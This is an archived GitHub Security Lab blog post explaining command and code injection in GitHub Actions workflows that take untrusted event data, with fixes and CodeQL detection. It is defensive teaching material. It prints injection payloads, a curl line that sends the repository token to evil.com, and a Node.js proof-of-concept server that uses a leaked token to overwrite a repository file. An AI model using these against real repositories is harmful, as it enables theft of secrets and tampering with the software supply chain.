Keeping your GitHub Actions and workflows secure Part 2: Untrusted input

By jarlob

Published: 2021-08-04 · Archived: 2026-04-06 01:57:40 UTC

This post is the second in a series of posts about GitHub Actions security. Part 1, Part 3, Part 4

Secure your workflows with CodeQL: You can enable CodeQL for GitHub Actions to identify and fix the patterns described in this post.

We previously discussed the misuse of the `pull_request_target` trigger within GitHub Actions and workflows. In this follow-up piece, we will discuss possible avenues of abuse that may result in code and command injection in otherwise seemingly secure workflows.

GitHub Actions workflows can be triggered by a variety of events. Every workflow trigger is provided with a GitHub context that contains information about the triggering event, such as which user triggered it, the branch name, and other event context details. Some of this event data, like the base repository name, hash value of a changeset, or pull request number, is unlikely to be controlled or used for injection by the user that triggered the event (e.g. a pull request).

However, there is a long list of event context data that might be attacker controlled and should be treated as potentially untrusted input:

- `github.event.issue.title`
- `github.event.issue.body`
- `github.event.pull_request.title`
- `github.event.pull_request.body`
- `github.event.comment.body`
- `github.event.review.body`
- `github.event.pages.*.page_name`
- `github.event.commits.*.message`
- `github.event.head_commit.message`
- `github.event.head_commit.author.email`
- `github.event.head_commit.author.name`
- `github.event.commits.*.author.email`
- `github.event.commits.*.author.name`
- `github.event.pull_request.head.ref`
- `github.event.pull_request.head.label`
- `github.event.pull_request.head.repo.default_branch`
- `github.head_ref`

Developers should carefully handle potentially untrusted input and make sure it doesn't flow into API calls where the data could be interpreted as code.

Vulnerable Actions

For the Ekoparty 2020 CTF my colleague Bas Alberts created an intentionally vulnerable Action, written in Python, that took the body of an issue creation event and used it to construct a system command in an insecure way:

```
os.system('echo "%s" > /tmp/%s' % (body, notify_id))
```

The CTF players were able to inject a shell command by creating a specially crafted issue that abused the insecure handling of untrusted input. As it turns out, truth is often stranger than fiction and I started finding similarly vulnerable GitHub Actions in the wild. For example the atlassian/gajira-comment Action.

This GitHub Action synchronizes GitHub issue comments with a corresponding ticket in an internal Jira server. Below is an example usage:

```
 uses: atlassian/gajira-comment@v2.0.1
with:
    comment: |
    Comment created by {{ event.comment.user.login }}
    {{ event.comment.body }}
```

In the `comment` argument we can see a custom templating syntax. The Action was using lodash to interpolate values in `{{ }}` internally. This is safe as long as the template is controlled only by the creator of a workflow. Unfortunately it was mistakenly documented that users of this Action should use the GitHub expression syntax - `${{ }}` . This opened the door to a double expression evaluation vulnerability.

Let's say the Action user defined a workflow like:

```
 uses: atlassian/gajira-comment@v2.0.1
with:
    comment: |
    Comment created by ${{ event.comment.user.login }}
    ${{ github.event.comment.body }}
```

In the normal use case the template would be evaluated even before reaching the Action, into something like:

```
     Comment created by SomeUser
    It doesn't work on my machine.
```

There would be nothing to evaluate by the Action itself internally and it would work as expected. However if the user's comment contained double curly braces itself, like `{{ 1 + 1 }}`, the argument would be evaluated into:

```
 Comment created by SomeUser
{{ 1 + 1 }}
```

Then the Action would treat it as a valid template syntax and lodash would interpolate it into:

```
 Comment created by SomeUser
2
```

The untrusted user input was used to generate a template which supports expression interpolation. The templating engine in question, lodash, was powerful enough to run arbitrary Node.js code in the context of the GitHub Actions runner.

Script injections

A different example involves scenarios where the injection sink is directly located in the workflow inline script. GitHub Actions support their own expression syntax that allows access to the values of the workflow context. A workflow author often doesn't even need to call any specific Action, as a lot can be accomplished using inline scripts with workflow expressions alone, e.g.:

```
- name: Check title
 run: |
   title="${{ github.event.issue.title }}"
   if [[ ! $title =~ ^.*:\ .*$ ]]; then
     echo "Bad issue title"
     exit 1
   fi
```

The issue here is that the `run` operation generates a temporary shell script based on the template. The expressions inside of `${{ }}` are evaluated and substituted with the resulting values before the shell script is run which may make it vulnerable to shell command injection. Attackers may inject a shell command with a payload like `a"; echo test` or `` `echo test` ``.

In case of a call to an Action like:

```
 uses: fakeaction/checktitle@v3
with:
   title: ${{ github.event.issue.title }}
```

the context value is not used to generate a shell script, but is passed as an argument to the action, so it is *not* vulnerable to the injection.

Most people understand that issue `title`, `body`, and `comment` contents in GitHub event contexts are fully controllable by would-be attackers. But there are also other less intuitive sources of potentially untrusted input. One of them is the originating branch name for a pull request. The allowed charset for branch names is somewhat limited and branches cannot have spaces or colons in their names. However, command injection is still possible. For example `zzz";echo${IFS}"hello";#` would be a valid branch name. As we will see later this is more than enough for attackers to compromise the target repository.

Another less obvious source of untrusted input is email addresses. As described in the following Wikipedia article, email addresses can be quite flexible in terms of their content. All the listed addresses below are valid according to the relevant IETF standards and subsequent RFCs (5322, 6854):

- `" "@example.org`
- `mailhost!username@example.org`
- `user%example.com@example.org`

The address format is so complex that many validation scripts may erroneously block a registration of a valid, but less common email address. Nevertheless an email address like `` `echo${IFS}hello`@domain.com `` is perfectly valid and may be used for both shell injection and receiving emails at the same time.

Exploitability and impact

Let's say there is a workflow with unsafe usage of an issue title in an inline script:

```
- run: echo "${{ github.event.issue.title }}"
```

It can be injected with titles like `z"; exit 1;#` or `` `id` ``. This allows an arbitrary attacker controlled command execution similar to the arbitrary code execution discussed in the previous post. So what can an attacker achieve with this kind of access in the context of a GitHub Actions runner?

Workflows triggered via the `pull_request` event have read-only permissions and no access to secrets. However, these permissions differ between the various event triggers such as `issue_comment`, `issues` and `push`. An attacker could try to steal the repository secrets or even the repository write access token. If a secret or token is set to an environment variable like:

```
env:
 GITHUB_TOKEN: ${{ github.token }}
 PUBLISH_KEY: ${{ secrets.PUBLISH_KEY }}
```

it can be directly accessed through the environment as demonstrated with e.g.: `` `printenv` ``.

If the secret is used directly in a expression like:

```
- run: publisher ${{ secrets.PUBLISH_KEY }}
```

or

```
 uses: fakeaction/publish@v3
with:
    key: ${{ secrets.PUBLISH_KEY }}
```

then, in the first case, the generated shell script is stored on disk and can be accessed there. In the second case it depends on the way the program is using the argument. For example `docker login` stores credentials on disk in `$HOME/.docker/config.json`, Gajira-login action stores the credentials in `$HOME/.jira.d/credentials`, and Actions/checkout action by default stores the repository token in a `.git/config` file unless the `persist-credentials: false` argument is set. Even if this is not the case the repository token and secrets are still in memory. Although GitHub Actions scrub secrets from memory that are not referenced in the workflow or in an included Action, the repository token, whether it is referenced or not, and any referenced secrets can be harvested by a determined attacker.

The next question for the attacker is how to exfiltrate such secrets from the runner. GitHub Actions automatically redact secrets printed to the log in order to prevent accidental secret disclosure, but it is not a true security boundary since it is impossible to protect from intentional logging, so exfiltration of obfuscated secrets is still possible. For example: `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. Also, since the attacker may run arbitrary commands it is possible to simply make a HTTP request to an external attacker-controlled server with the secret.

Getting a repository access token is a bit harder. An Action runner gets a generated token with permissions that are limited to the repository that contains the workflow and which expires after the workflow completes. Once expired, the token is no longer useful to an attacker. One way to work around this limitation, is to automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, e.g.: `a"; set +e; curl http://evil.com?token=$GITHUB_TOKEN;#`.

The attacker server can use the GitHub API to modify repository content, including releases. Below is a proof of concept server that uses the leaked repo token to overwrite `package.json` in the root of an affected repository:

```
 const express = require('express');
const github  = require('@actions/github');
const app     = express();
const port    = 80;

app.get('/', async (req, res, next) => {
  try {
    const token       = req.query.token;
    const octokit     = github.getOctokit(token);
    const fileContent = Buffer
      .from('{\n}')
      .toString('base64');

    // this is a targeted attack, repo name can be hardcoded
```

```
    const owner      = 'owner';
    const repo       = 'repository';
    const branchName = 'main';
    const path       = 'package.json';

    const content = await octokit.repos.getContent({
      owner: owner,
      repo:  repo,
      ref:   branchName,
      path:  path
    });

    await octokit.repos.createOrUpdateFileContents({
      owner:   owner,
      repo:    repo,
      branch:  branchName,
      path:    path,
      message: 'bump dependencies',
      content: fileContent,
      sha:     content.data.sha
    });

    res.sendStatus(200);
    next();
  } catch (error) {
    next(error);
  }
});

app.listen(port, () => {
  console.log(`Listening at http://localhost:${port}`);
});
```

The best practice to avoid code and command injection vulnerabilities in GitHub workflows is to set the untrusted input value of the expression to an intermediate environment variable:

```
 - name: print title
   env:
     TITLE: ${{ github.event.issue.title }}
   run: echo "$TITLE"
```

This way, the value of the `${{ github.event.issue.title }}` expression is stored in memory and used as variable instead of influencing the generation of script. As a side note, it is a good idea to double quote shell variables to avoid word splitting, but this is one of many general recommendations for writing shell scripts, not specific to GitHub Actions.

In order to catch and prevent the usage of the dangerous patterns as early as possible in the development lifecycle, the GitHub Security Lab has developed CodeQL queries that can be integrated by repository owners into their CI/CD pipeline. Please note that currently the scripts depend on the CodeQL JavaScript libraries. In practice, this means that the analyzed repository must contain at least one JavaScript file and that CodeQL is configured to analyze this language.

The `script_injections.ql` covers expression injections described in the article and is quite precise. However it doesn't do data flow tracking between workflow steps. The `pull_request_target.ql` results require more manual review to identify if the code from pull request is actually treated in an unsafe manner as was explained in the previous post.

Conclusion

When writing custom GitHub Actions and workflows, consider that your code will often run with repo write privileges on potentially untrusted input. Keep in mind that not all GitHub event context data can be trusted equally. By adopting the same defensive programming posture you would employ for any other privileged application code you can ensure that your GitHub workflows stay as secure as the actual projects they service.

This post is the second in a series of posts about GitHub Actions security. Read the next post

---